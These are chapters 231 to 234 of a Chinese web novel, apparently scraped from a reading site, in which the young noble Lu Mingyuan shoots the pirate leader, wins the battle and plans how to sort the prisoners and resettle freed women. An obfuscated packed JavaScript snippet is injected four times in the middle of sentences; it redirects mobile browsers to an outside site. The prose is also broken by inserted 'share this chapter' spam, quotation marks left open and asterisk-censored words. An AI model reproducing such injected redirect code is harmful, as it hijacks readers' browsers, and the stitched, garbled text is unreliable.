江川新四郎的心沉到了谷底,他知道,伏击已经彻底失败了。 但一股更加疯狂的念头,如同毒蛇般缠上了他的心脏。 败了,但不能白败! 只要能杀了这个冠文伯,哪怕他们全军覆没,对于大乾朝廷的打击也是致命的! 这趟浑水,才不算白来! “目标,中军!那个拿弓的少年! 江川新四郎猛地抽出另一把肋差,指向陆明渊所在的方向,用日语发出野兽般的咆哮。 “所有武士!随我冲锋!斩下冠文伯陆明渊的首级!此战,不死不休! “为了天照大神!为了回到故乡! “喔——! 随着他一声令下,那些一直游弋在侧翼,身披相对精良甲胄的倭寇武士,纷纷**了过来。 他们眼中闪烁着决绝与死志,组成一个锋利的锥形阵,不顾一切地朝着大乾军阵的中央。 他们朝着陆明渊所在的位置,发起了决死冲锋! “保护伯爷! 陈冲第一时间便洞悉了敌人的意图,他脸色剧变,狂吼一声。 他立刻调集身边仅有的数十名亲兵甲士,不退反进,迎着那股最精锐的倭寇洪流,死死地挡在了陆明渊的前方。 “擅长弓箭的,都到伯爷身边来!放箭!给老子狠狠地射! 陈冲的声音已经嘶哑,但命令却清晰无比。 几十名军中残存的老弓手迅速**到陆明渊周围。 他们纷纷张弓搭箭,跟随着陆明渊的节奏,向着那股倭寇倾泻箭雨。 箭矢如蝗,破空之声不绝于耳。 倭寇的冲锋阵型中不断有人惨叫倒下。 但后续的人却踏着同伴的尸体,没有丝毫的停滞,疯狂地向前推进。 双方的距离在飞速拉近! 五十步! 四十步! 三十步! 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777322|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个距离,弓箭的抛射已经失去了准头,双方即将进入最残酷的近身肉搏。 陈冲和他率领的甲士们,已经能清晰地看到对面倭寇武士脸上狰狞的疤痕和扭曲的表情。 也就在此时,陆明渊的射击节奏,悄然发生了变化。 他不再射杀那些冲在最前面的普通武士,那双清亮而冰冷的眸子,开始在倭寇的队伍中飞速扫视。 他的目标,变了! 一名倭寇小头目,正挥舞着手臂,用日语大声呼喝着,试图整顿被箭雨稍稍打乱的阵型。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 他刚刚张开嘴—— “噗!” 一支破甲重箭,精准地从他张开的口中射入,贯穿了他的后脑,带出一蓬血雾。 他呼喊的声音戛然而止,身体直挺挺地向后倒去。 另一侧,一名身材魁梧的倭寇武士正要越过同伴,试图从侧翼突破陈冲的防线,他刚刚探出身子—— “嗡!” 箭矢破空,正中他的面门,巨大的力道将他整个人掀翻在地,抽搐了两下便再无声息。 陆明渊的目光如同鹰隼,冷酷地巡视着整个战场。 他不再追求杀敌的数量,而是追求杀敌的效率。 谁敢高呼,谁敢站出来挥舞手臂指挥倭寇,他就射谁! 一名、两名、三名…… 接连七八名试图站出来指挥、鼓动士气的倭寇小头目,都在暴露自己意图的瞬间,被他一箭毙命! 这下,所有倭寇都怕了。 他们可以悍不畏死地冲锋,却无法忍受这种被死神点名般的恐惧。 剩下的几个小头目下意识地缩起了脖子,躲在人群之中,再也不敢发出任何指令。 没有了指挥,倭寇那股一往无前的决死气势瞬间瓦解。 整个冲锋阵型变得混乱不堪。 前面的想冲,后面的犹豫,侧翼的不知所措,人群挤作一团,彻底失去了冲击力。 群龙无首! “好机会!” 陈冲何等老辣,他敏锐地捕捉到了这稍纵即逝的战机! 他手中的战刀向前猛地一指,用尽了此生最大的力气,发出了震彻山谷的怒吼: “擂鼓!全军出击!” “痛打落水狗!杀——!” “咚!咚!咚!咚!” 后方预备的鼓手,用尽全力敲响了战鼓。 那沉闷而激昂的鼓点,如同巨人的心跳,敲在了每一个大乾士兵的心坎上。 “杀!!!” 被压抑了太久,被防守的憋屈折磨了太久的辅兵们,在这一刻彻底爆发了。 他们发出一声呐喊,扔掉了手中已经残破的藤盾,握紧了手中的**与朴刀。 他们跟随着陈冲的步伐,如开闸的猛虎,向着那群已经混乱不堪的倭寇,发起了全面的**! 攻守之势,瞬间逆转! 夜色下,陆明渊缓缓放下了手中的三石强弓,弓弦上还残留着一丝温热。 他看着前方从被动防守转为主动追杀的己方军队。 听着耳边震天的喊杀声和倭寇的惨叫声,鼻尖萦绕着浓得化不开的血腥气。 他清秀的脸上,沾染了几滴不知是谁的血,在火光下,显得有几分妖异。 这一夜,江陵县的少年状元郎,冠文伯陆明渊。 在平阳城外的无名山谷中,用一张弓,射落了自己身上所有的书生气,也射出了一个让无数倭寇闻风丧胆的传说。 ………… 第232章 此战,我等大胜! 山谷中的追杀与哀嚎仍在继续。 辅兵们积攒了整晚的憋屈与恐惧,此刻尽数化作了刀刃上的森然杀意。 攻守之势的逆转,快得令人心悸。 那股由倭寇武士组成的洪流,在失去了所有头目的指挥后,已经彻底沦为一盘散沙。 他们引以为傲的悍勇,在绝对的死亡阴影与群龙无首的混乱面前,终于崩溃瓦解。 就在这片混乱的顶点,山坳之上。 面目狰狞的江川新四郎,眼看着自己的心血精锐如同被割倒的麦子般纷纷倒下,一双眼睛红得仿佛要滴出血来。 败了,彻底败了。 但他不甘心! 他猛地拔出腰间那柄象征着身份的太刀,刀尖在火光下闪烁着绝望而疯狂的光。 “八嘎呀路! 他用尽全身力气,发出一声非人的咆哮,声音凄厉,盖过了战场的喧嚣。 他用日语疯狂地嘶吼着,每一个音节都像是从喉咙里挤出的血块。 “你们的妻儿还在故乡等着!不想她们被当做失败者的家眷,被领主大人赏赐给别的武士,就给我拿起刀! “冲过去!只要杀了那个冠文伯!冲出这座山谷! “大乾的城镇就在眼前!那里有数不尽的金银,喝不完的美酒,玩不尽的女人! “不想像狗一样死在这里,就随我死战! 这番夹杂着威胁与利诱的嘶吼,让一众倭寇纷纷燃起了凶狠的目光。 求生的本能,对家人的牵挂,以及对财富的贪婪,交织成一股畸形而扭曲的力量。 一些已经准备逃窜的倭寇下意识地停住了脚步,握紧了手中的太刀,眼中重新燃起一丝困兽犹斗的凶光。 军心,竟在这绝境之中,被他强行稳住了片刻。 然而,也仅仅是片刻。 远处,那道挺立如松的身影,缓缓地,再次举起了手中的黑弓。 陆明渊的胸膛微微起伏,手臂的酸胀感如同潮水,一波波冲击着他的神经。 但他持弓的左手,依旧稳如山岳。 他的目光越过了前方绞杀在一起的战场,越过了那些重新鼓起勇气的倭寇。 陆明渊精准地锁定了山坳上那个挥舞着太刀、状若疯魔的身影。 就是他。 这一切混乱与杀戮的根源。 陆明渊的眼中,没有丝毫波澜。 他拈起箭囊中最后一支破甲重箭。 搭箭,开弓。 巨大 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 的三石强弓被缓缓拉开,发出令人牙酸的“咯吱”声,弓身弯曲成一个完美的满月。 整个喧嚣的山谷,仿佛都在这一刻被那张满弓的气势所夺,出现了刹那的寂静。 江川新四郎的咆哮戛然而止,一股冰冷刺骨的寒意从脚底直冲天灵盖。 他想躲,想逃,可身体却像是被无形的枷锁钉在原地,动弹不得。 那是一种被天敌盯上的、源自灵魂深处的战栗。 “嗡——” 黑色的箭矢,脱离了弓弦,便仿佛拥有了生命。 它撕开夜幕,无视了数十步的距离,无视了摇曳的火光与纷乱的人影,一往无前。 江川新四郎甚至能看清那枚三菱箭簇上闪烁的寒光。 下一刻。 “噗嗤。” 一声轻微的、像是利刃切入朽木的声音。 江川新四郎的身体猛地一震。 他难以置信地低下头,看着自己心口处那个不断扩大的血洞,以及那截深深没入体内的黑色箭羽。 他张了张嘴,想说些什么,但所有的力气都随着生命一同流逝。 眼中那疯狂的光芒迅速黯淡下去,取而代之的是无尽的茫然与恐惧。 他手中的太刀“哐当”一声掉落在地。 他软软地跪倒,随即重重向前扑倒在地。 主将阵亡! 倭寇阵营中,刚刚被强行凝聚起来的士气,瞬间土崩瓦解,连带着他们所有的希望与疯狂,一同沉入了深渊。 “好!” 陈冲看得真切,他胸中热血激荡,猛地将手中战刀指向江川新四郎的尸体。 他用已经嘶哑的嗓子,发出了震天动地的狂吼! “贼首已死!降者不杀!” 这句吼声,如同一道惊雷,在山谷中炸响。 “贼首已死!降者不杀!” “降者不杀!!” 一千多名大乾辅兵跟着齐声怒吼,声浪汇聚成一股不可阻挡的洪流,彻底冲垮了倭寇最后的心理防线。 “哐当!” “当啷……” 不知是谁第一个扔掉了手中的兵器。 这个声音仿佛会传染一般,倭寇们纷纷扔掉了赖以为生的太刀。 一众倭寇纷纷双手抱头,成片成片地跪倒在地,口中用生硬的汉话语无伦次地哀求着。 “饶命!饶命啊!” “我投降!我投降!” 陈冲眼中精光一闪,当即下令:“收缴兵刃!捆起 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 来!有敢反抗者,格杀勿论! 他亲自带着几名亲兵,大步流星地冲到山坳上。 在无数道敬畏的目光注视下,手起刀落,割下了江川新四郎那颗死不瞑目的头颅。 他高高举起那颗滴血的首级,面向全军。 “此战,我等大胜! “伯爷威武!大乾威武! 山谷之中,再次爆发出山呼海啸般的欢呼,经久不息。 …… 当大军押送着俘虏,与留守在平阳县的另外一千五百人汇合时,整个营地都沸腾了。 陈冲立刻安排人手审讯那些投降的倭寇头目。 结果很快就出来了,这些俘虏为了活命,几乎是知无不言。 这次伏击,是江川新四郎倾巢而出的一次豪赌,他带走了倭寇巢穴中几乎所有的精锐力量。 如今,海龙湾的老巢之中,只剩下他的弟弟江川新六郎,和一些老弱病残,总数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777323|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过千余人,根本不足为虑。 “太好了! 陈冲得到情报,一拳砸在桌案上,满脸喜色。 “如此一来,邓将军他们此去,必能犁庭扫穴,一竟全功! 陆明渊点了点头,心中一块大石也落了地。 他在平阳县下令,让军队稍作休整,并补充了箭矢、伤药和粮草。 而后,便下令拔营,带着一千多名被捆得结结实实的倭寇俘虏,返回温州府。 归途不再有来时的肃杀与紧张。 队伍行进的速度很慢,绵延数里。 打了胜仗的辅兵们,虽然身上带伤,脸上却洋溢着劫后余生的轻松与自豪。 他们三五成群,高声谈论着战况。 他们的目光,落在陆明渊的背影上时,充满了发自内心的敬畏与狂热。 这一路,走了整整三天。 三天后,当温州府高大的城墙遥遥在望时,早已得到消息的百姓,已经自发地**在官道两侧,人山人海,翘首以盼。 “回来了!陆伯爷他们回来了! “大胜!听说在平阳城外,伯爷亲率三千辅兵,全歼了数千倭寇精锐! “何止!我听我那在府衙当差的表哥说,是伯爷一人一弓,连斩倭寇贼首,阵前神射,如同天神下凡! 传言经过几天的发酵,早已变得神乎其神。 当陆明渊骑着战马,出现在官道尽头的那一刻,人群瞬间爆发出了雷鸣般的欢呼。 “伯爷威武! “陆青天神威! 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ” 无数的百姓涌上前来,对着军队的方向不断作揖,脸上带着最真挚的感激与崇敬。 道路两旁的酒楼茶肆,更是有无数的鲜花、果品、甚至手帕被抛洒下来。 陆明渊骑在马上,看着那一张张激动而淳朴的脸庞,听着那一声声发自肺腑的欢呼。 一股前所未有的,远比战场上肾上腺素飙升更为激荡、更为滚烫的情感,猛地冲上了他的心头。 那是一种难以言喻的骄傲与满足。 他忽然间深刻地理解了。 为何自古以来,无数英雄豪杰,会将“封狼居胥,勒石燕然”视为毕生的最高追求。 那不仅仅是战功,不仅仅是功名利禄。 更是被无数生民所敬仰、所歌颂的,一种足以名留青史的无上荣光。 他陆明渊,仅仅是打赢了一场小小的伏击战,便已能感受到这股浪潮的万分之一。 那若是荡平东南倭患,收复**海疆,又该是何等景象? 感受着这山呼海啸般的声浪,陆明渊缓缓勒住缰绳,回望来路。 他想起了自己写下的那篇《漕海之争》,想起了在京城金銮殿上的侃侃而谈。 曾经,那只是纸面上的策略,是朝堂上的博弈。 而现在,它有了更深沉、更厚重的意义。 陆明渊的目光穿过欢呼的人群,望向远方碧波万顷的大海,眼神前所未有的清亮与坚定。 第233章 这些人,是杀,还是不杀? 两日后当另一支更为庞大的军队出现在地平线上时整个温州府再一次被引爆。 旌旗半卷带着血与火的气息。 甲胄之上凝固着暗红色的血渍与海风的咸腥。 邓玉堂麾下的大军回来了。 他们不像陆明渊的队伍那般昂扬许多士卒的身上缠着带血的麻布脸上写满了疲惫。 但那挺直的腰杆与深邃眼眸中压抑不住的精光却昭示着一场酣畅淋漓的大胜。 队伍的中央是长得望不见尽头的俘虏行列。 两千多名倭寇被草绳串联着垂头丧气如同被抽走了所有精气神的牲口。 他们曾经凶悍的眼神此刻只剩下麻木与恐惧。 而比俘虏队伍更让人心头发颤的是跟在最后的那一千多个身影。 那是一千多名被解救回来的大乾女子。 她们的衣衫大多残破不全头发散乱许多人脸上、身上还带着青紫的伤痕。 她们低着头用残破的衣袖遮挡着自己的脸。 身体在秋风中微微颤抖分不清是由于寒冷还是因为那不堪回首的记忆。 当她们看到城门口那人山人海的欢迎人群时许多人再也抑制不住。 她们蹲在地上发出了压抑了太久的、撕心裂肺的哭声。 无数百姓的脸上笑容凝固取而代之的是深深的同情与愤怒。 一些妇人更是忍不住跟着抹起了眼泪。 “回家了!闺女们回家了!” 一位白发苍苍的老者颤巍巍地喊道。 百姓们自发地让开道路一些店家更是主动端出了热汤、炊饼默默地放在路边。 陆明渊骑在马上静静地看着这一幕。 他没有下令驱赶也没有开口安抚。 他知道此刻任何言语都是苍白的。 他翻身下马亲自走上前去对着那支疲惫归来的大军深深一揖。 “诸位将士辛苦了。” 少年伯爷清朗的声音传遍四方。 “温州百姓谢过诸位将军!” 哗啦啦—— 身后温州府的官吏衙役跟随着他齐齐躬身行礼。 再之后是官道两侧 邓玉堂翻身下马大步流星地走到陆明渊面前。 这位在沙场上杀伐果断的悍将此刻眼眶竟也有些泛红。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他一把抓住陆明渊的手臂声音因激动而微微颤抖。 “伯爷!幸不辱命!” 陆明渊用力地回握住他重重地点了点头。 “邓将军辛苦!” 简单的两个字却重逾千钧。 …… 温州府衙后堂。 灯火通明空气中还弥漫着浓郁的茶香。 邓玉堂已经换下了一身沉重的甲胄但脸上那股由内而外散发的兴奋之情却怎么也掩饰不住。 他将一杯热茶一饮而尽仿佛喝的是庆功的美酒。 “伯爷此战……此战之大胜末将从军二十年闻所未闻!” 他一拳砸在桌案上发出一声闷响桌上的茶杯都随之跳动了一下。 “末将粗略统计此战我温州卫所将士阵亡六百七十三人伤两千一百余人。” 说到这里他脸上的兴奋稍稍收敛多了一丝沉痛。 但随即又被更大的激昂所取代。 “而斩获……斩获简直骇人听闻!” “我军当场斩杀倭寇两千零四十五人!” “俘虏两千三百一十二人!其中还包括了江川新六郎在内的十余名倭寇头目!” “缴获大小倭船六十艘!这可是他们纵横东南沿海的全部家当!” 邓玉堂的声音越来越大双眼放光。 “黄金白银!光是抄出来的金银就足足有三百一十万两!” “这还不算那些丝绸、瓷器、香料等辎重物资初步估算价值亦在两百万两之上!” 邓玉堂猛地站起身对着陆明渊一躬到底声音嘶哑而亢奋。 “盘踞温州府外海三十余年的江川倭寇自此被我等连根拔起!” “温州海域 海域清平! 这四个字沉甸甸地压在府衙的空气里。 陆明渊听着这一连串惊人的数字饶是他早已有所预料心脏也不由得剧烈地跳动起来。 三百多万两金银二百多万两的物资这几乎相当于大乾朝一年盐税收入的五分之一! 而这仅仅是一个盘踞在温州府外的海盗团伙的积累! 管中窥豹可见一斑。 难怪严党对开海禁之事如此热衷这其中的利润简直是天文数字! 更重要的是此战的**意义。 荡平了为祸三十年的倭寇老巢这是足以载入史册的功绩! 陆明渊深吸一口气 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 压下心中的激荡,站起身,亲手扶起邓玉堂。 “邓将军,不必如此。 他看着对方那张因激动而涨红的脸,郑重地说道。 “此战,你当居首功!温州卫所近万将士,人人有功! “我必会亲自上奏疏,为将军,为所有参战的将士,向陛下请功! “此等不世之功,朝廷必有重赏! 邓玉堂闻言,更是激动不已,连连道。 “末将不敢居功! “若非伯爷神机妙算,在山谷中设伏,一举歼灭了江川新四郎的精锐主力,更以神射之威,阵斩贼首,绝无可能如此顺利! 他看着陆明渊,眼神里充满了发自肺腑的敬畏。 “伯爷,您是不知道,您在平阳城外那一夜的传说,如今在军中都传疯了! “一人一弓,于万军之中,连斩倭寇三十余名,最后更是一箭定乾坤,射杀贼首江川新四郎! “如今军中将士,提起‘冠文伯’三字,无不竖起大拇指,说您文武双全,勇冠三军!! 邓玉堂嘿嘿一笑,神情颇为自豪,仿佛与有荣焉。 “如今军心士气,前所未有的高涨!将士们都说,跟着伯爷打仗,心里踏实! “末将斗胆,恳请伯爷有时间,能去军中走动一二,见见那些崇拜您的小子们,这对稳定军心,大有裨益! 陆明渊闻言,心中微动。 他知道,这是邓玉堂在向他示好,也是在帮他,将这份从天而降的军中威望,彻底坐实。 一个文臣,想要在武将群体中获得真正的尊重,极难。 但现在,他靠着一场实打实的血战,阴差阳错地做到了。 这份威望,对于他将来推行“漕海一体,乃至于经略整个东南,都有着不可估量的价值。 “好。 陆明渊毫不犹豫地应承下来。 “这是分内之事。将士们浴血奋战,我理应前去探望。 看到陆明渊答应,邓玉堂脸上的笑容更盛。 然而,陆明渊的脸色却慢慢变得严肃起来。 他重新坐下,手指轻轻敲击着桌面,发出“笃笃的轻响。 府衙后堂的气氛,也随着这敲击声,从方才的狂喜与激昂,渐渐沉静下来。 邓玉堂脸上的笑容也收敛了,他知道,伯爷要谈正事了。 “邓将军, 陆明渊缓缓开口。 “大胜固然可喜,但庆功之前,我们还有一 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 件天大的麻烦事,需要立刻解决。 “麻烦事? 邓玉堂一愣,他想不出,大获全胜之后,还会有什么麻烦。 陆明渊的目光变得深邃起来,他看着邓玉堂,一字一顿地说道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777324|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俘虏。 “我这里,有一千多名在山谷中投降的倭寇。 “而你带回来的,有两千三百多人。加起来,是近三千多名倭寇俘虏。 “三千人…… 邓玉堂喃喃自语,随即不以为意地说道。 “这有何难?倭寇之患,积重难返,手上沾满了我大乾百姓鲜血的,不知凡几。 “按照以往惯例,审明罪大恶极者,在菜市口一体斩首,先杀个一半儿,以儆效尤! “剩下的,贬为奴隶,送去矿山、修筑城墙,让他们干活干到死也就是了! 这是最简单,也是最常见的处理方式。 “不行。 陆明渊断然否定。 他站起身,在堂中缓缓踱步,神情凝重。 “将军,时代不同了。若是在十年前,你这么做,无人会说什么。但现在,不行。 “为何? 邓玉堂不解。 陆明渊停下脚步,回头看着他,眼中闪过一丝冷冽的精光。 “其一,几百颗人头落地,是何等景象? “固然能震慑宵小,但传到京城,御史言官的**奏本,会像雪片一样飞到陛下的案头。 “他们会说我陆明渊嗜杀成性,有伤天和,会说你邓玉堂是人间屠夫。这份天大的功劳,顷刻间就会蒙上洗不掉的污点。 “其二,陆明渊伸出第二根手指。 “严党。你以为严阁老他们,会眼睁睁看着我们立下这不世之功,看着我陆明渊借此在东南站稳脚跟吗? “他们不会。我们杀了这么多俘虏,他们就会借题发挥,在朝堂上掀起惊涛骇浪,将我们从功臣,打成罪人! “其三,也是最重要的一点。 陆明渊的声音压得更低了,“这些倭寇,真的是倭寇吗? 邓玉堂的瞳孔猛地一缩。 “伯爷的意思是…… “我审过那批俘虏。 陆明渊淡淡地说道。 “其中,十人里,倒有三四个,是福建、广东沿海活不下去的流民,是走投无路才下海为盗的汉人! “你说,这些人,是杀,还是不杀? “杀,我们杀 听说看这本书的人都是很幸运的,分享后你的运气会更棒 的是大乾的子民。不杀,他们为虎作伥,手上也未必干净。” “这柄双刃剑,要如何处置?” 邓玉堂瞬间沉默下来! 是啊,三千俘虏! 先前只是小战小胜,抓个几十个俘虏,里面有一半儿都该杀。 他们也习惯了直接先杀一半儿,以儆效尤! 但现在人数太多了! 这已经不是一个单纯的军事问题了。 它是一个**问题,一个经济问题,甚至是一个足以引爆朝堂争斗的**。 处置得好,是功上加功。 处置得不好,这泼天的功劳,就会变成催命的符咒。 邓玉堂的后背,瞬间渗出了一层冷汗。 他看着眼前这个年仅十二岁的少年,心中第一次,生出了一股名为“敬畏”的情绪。 “那……那依伯爷之见,该当如何?” 邓玉堂的声音,不自觉地带上了一丝请示的意味。 陆明渊重新坐回椅上,端起那杯已经微凉的茶,轻轻呷了一口。 他的目光,再次投向了窗外,投向了那片被夜色笼罩的,深沉而广阔的大海。 “杀,自然是要杀的。不杀,不足以平民愤,不足以慰英灵。” “但,不能全杀。” “留,也是要留的。不留,我们这场大胜,就只是一场痛快,而非一场大用。” 他的嘴角,缓缓勾起一抹意味深长的弧度。 “这三千人,是烫手的山芋,但同时,也是我送给陛下,送给这东南沿海,一份意想不到的大礼。” 第234章 我的意思是,给她们一个选择 “伯爷,末将愚钝。 邓玉堂抱拳,诚恳地说道。 “还请伯爷示下。 陆明渊示意他坐下,自己也重新落座,为他那已经空了的茶杯续上热茶。 氤氲的水汽升腾起来,模糊了少年清秀的眉眼。 “邓将军,我问你,以往抓住倭寇,你们是如何处置的? 邓玉堂闻言,精神一振,这是他熟悉的领域了。 “回伯爷,此事末将熟稔。 “这些倭寇,成分复杂。其中,东瀛来的真倭,其实只占少数,约莫不到三成。 “其余的,大多是我大乾东南沿海的破产流民、亡命之徒,甚至还有一些与倭寇通婚,生下的混血后代。 “这些人,比真倭更熟悉我沿海地貌,为祸更甚! 他顿了顿,眼中闪过一丝煞气。 “按照惯例,我们向来是杀首恶,胁从不问。 “对于那些罪大恶极的倭寇头目,或是手上血债累累的悍匪,审明之后,便在菜市口当众问斩,悬首示众,以安民心,以励军心! “至于那些从犯,尤其是被裹挟的汉人,若有幡然悔悟之心,我们通常会给他们一个戴罪立功的机会。 邓玉堂沉声道。 “只要在下一场战斗中,亲手斩杀一个倭寇,便能免去囚犯身份,编入敢死营。 “若是能斩杀三个倭寇,便能恢复平民身份,并且之前犯下的罪责一笔勾销,还能按照军功获得对应的嘉奖! 这是一种粗犷而有效的办法,用敌人的手,去削弱敌人的力量。 陆明渊听完,点了点头,眼中露出赞许之色。 “将军此法,快刀斩乱麻,有军中雷厉风行之风,很是不错。 得到肯定的邓玉堂,脸上露出一丝喜色。 然而,陆明渊话锋一转:“但还不够。 “不够? “嗯,不够狠,也不够巧。 陆明渊的手指在温热的茶杯壁上轻轻摩挲着。 “将军的法子,是给他们一条活路。而我的法子,是要让他们为了活下去,自己咬断同伴的退路。 邓玉堂心中一凛。 只听陆明渊不疾不徐地说道。 “明日起,将这三千俘虏,全部分开审讯,打散关押,绝不让他们有任何串联的机会。 “然后告诉他们所有人,我冠文伯在此立誓,此番只诛首恶,余者皆给予改过自新的机会。 “这… 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 …这岂不是让他们都心存侥幸? 邓玉堂不解。 “要的就是这份侥幸。 陆明渊的嘴角微微翘起。 “接着,再告诉他们,允许任何人检举揭发倭寇中罪大恶极、血债累累之人。 “凡是检举成功,经核查属实,检举之人,无论之前犯下何罪,立刻免除**身份,直接编入军中,允其戴罪立功! 邓玉堂的眼睛亮了。 “而若有人胆敢互相包庇,隐瞒不报,一旦被其他人检举出来,那么,包庇者与被包庇者,同罪! “一经查实,立刻问斩,绝不姑息!而那个揭发了‘包庇’行为的人,将获得双倍的军功嘉奖! “嘶—— 邓玉堂倒吸一口凉气,只觉得一股寒意从脚底板直冲天灵盖。 狠! 太狠了! 陆明渊的这个方案,简直是诛心之策! 这些俘虏中,除了那些死硬的东瀛武士,大部分都是福建、广东沿海的汉人。 他们本就不是铁板一块,有的是被生活所迫,有的是贪图富贵,有的是亡命之徒。 彼此之间,本就充满了猜忌与利益纠葛。 如今,陆明渊给他们头上悬了一柄刀,又在前方吊了一根胡萝卜。 一边是死亡的威胁,一边是自由的诱惑。 谁曾经**放火,谁手上沾了无辜者的血,谁在分赃时多拿了一份,谁在平日里结下了梁子。 这些平日里被压抑在黑暗中的东西,在生与死的抉择面前,都会被无限放大。 为了活命,为了那一份军功,他们会像疯狗一样,互相撕咬,互相揭发。 那些真正罪大恶极之徒,想躲都躲不掉! 如此一来,根本不需要官府费力去审,他们自己就会完成筛选。 谁是真正被逼无奈的可怜人,谁是骨子里就坏透了的恶徒,一目了然。 这看似温和的法子,却比直接挥刀更要酷烈百倍。 它斩断的,是这群乌合之众最后的信任与联系,让他们彻底化为一盘散沙,再无任何威胁。 “伯爷……高明! 邓玉堂从牙缝里挤出这几个字,额头上已经渗出了细密的汗珠。 他看着眼前这位年仅十二岁的少年,心中那份敬畏,已经攀升到了顶点。 这位少年伯爷,他所用的武器,早已超脱了刀剑的范畴。 那是人心。 “如此,我们便能名正言顺地杀掉一批罪 听说看这本书的人都是很幸运的,分享后你的运气会更棒 大恶极之人既平了民愤又不会落人口实。” “还能筛选出一批真正愿意为我大乾效力的‘浪子回头’者充入军中。” 陆明渊的声音恢复了平静。 “这就是我说的‘大礼’的一部分。一份可以分化瓦解其他倭寇团伙甚至可以为我所用的力量。” “我会上书陛下成立镇海司将这些人都编入镇海司中!” 邓玉堂彻底明白了。他站起身对着陆明渊一躬到底:“末将受教!” 陆明渊坦然受之随后道。 “具体的奖惩细节你我再商议一番 “是!” 两人在灯下又细细商议了半个时辰将各种可能出现的情况都做了预案敲定了具体的奖惩条文。 邓玉堂越是商议心中越是钦佩只觉得这位少年伯爷的心思之缜密简直匪夷所思。 处理完这件最棘手的俘虏之事邓玉堂心中的一块大石终于落地。 他刚想告退却见陆明渊的神情再次变得柔和而沉重。 “邓将军还有一件事。” “伯爷请讲。” 陆明渊的目光仿佛穿透了府衙的墙壁望向了城中某处临时安置点。 “你们带回来的那近两千名女子……你打算如何安置?” 邓玉堂闻言脸上的轻松之色瞬间褪去取而代之的是一脸的沉重与为难。 “伯爷此事……着实棘手。她们都是被倭寇劫掠出海的可怜人受尽了**。” “按理说应当送她们各自回家。只是……” 他叹了口气没有再说下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777325|190310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但那意思谁都明白。 在这个时代女子的名节大过天。 她们即便回到了家乡也难免会遭受乡邻的白眼与歧视甚至被夫家、父兄视为耻辱。 回家对她们中的许多人而言或许是另一场噩梦的开始。 “我明白。” 陆明渊点了点头神情中带着一丝怜悯。 “所以不能简单地将她们送回去。” 他站起身走到窗边推开窗户夜里的凉风吹了进来让他清醒了几分。 “我的意思是给她们一个选择。” 陆明渊缓缓说道。 “首先由温州府出面在城外寻一处山清水秀、土地肥沃之地专门腾出几个村庄作为她们的安置点。” “府衙拨付钱粮为她们修缮房屋置办田地让她们能有一 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 个安身立命之所。” “其次,我会安排一些女师傅,教她们纺织、刺绣、染布等手艺。” “让她们能凭自己的双手,养活自己,活得有尊严。” “她们生产出来的所有织品、绣品,都可以通过我们的荣兵商会,沿着京杭大运河,销往江宁府,乃至整个大乾。” “届时,所有利润,都将按照份额分给她们,确保她们衣食无忧,甚至能有所积蓄。” “最后,也是最重要的一点,将选择权交还给她们自己。” 陆明渊转过身,目光清亮而坚定。 “凡是想要回家乡的,温州府查明籍贯后,统一发放五两银子作为路费,并派人护送一程。” “凡是愿意留下的,便在安置点住下,按照我说的法子做工生活。” “她们的未来,无论是选择独身,还是将来愿意重新嫁人,全凭她们自己做主,任何人不得干涉!” 一番话说完,后堂之内,一片寂静。 邓玉堂怔怔地站在那里,嘴巴微张,半天说不出一句话来。 他设想过许多安置方案,无非是给些钱粮,或是强行送返。 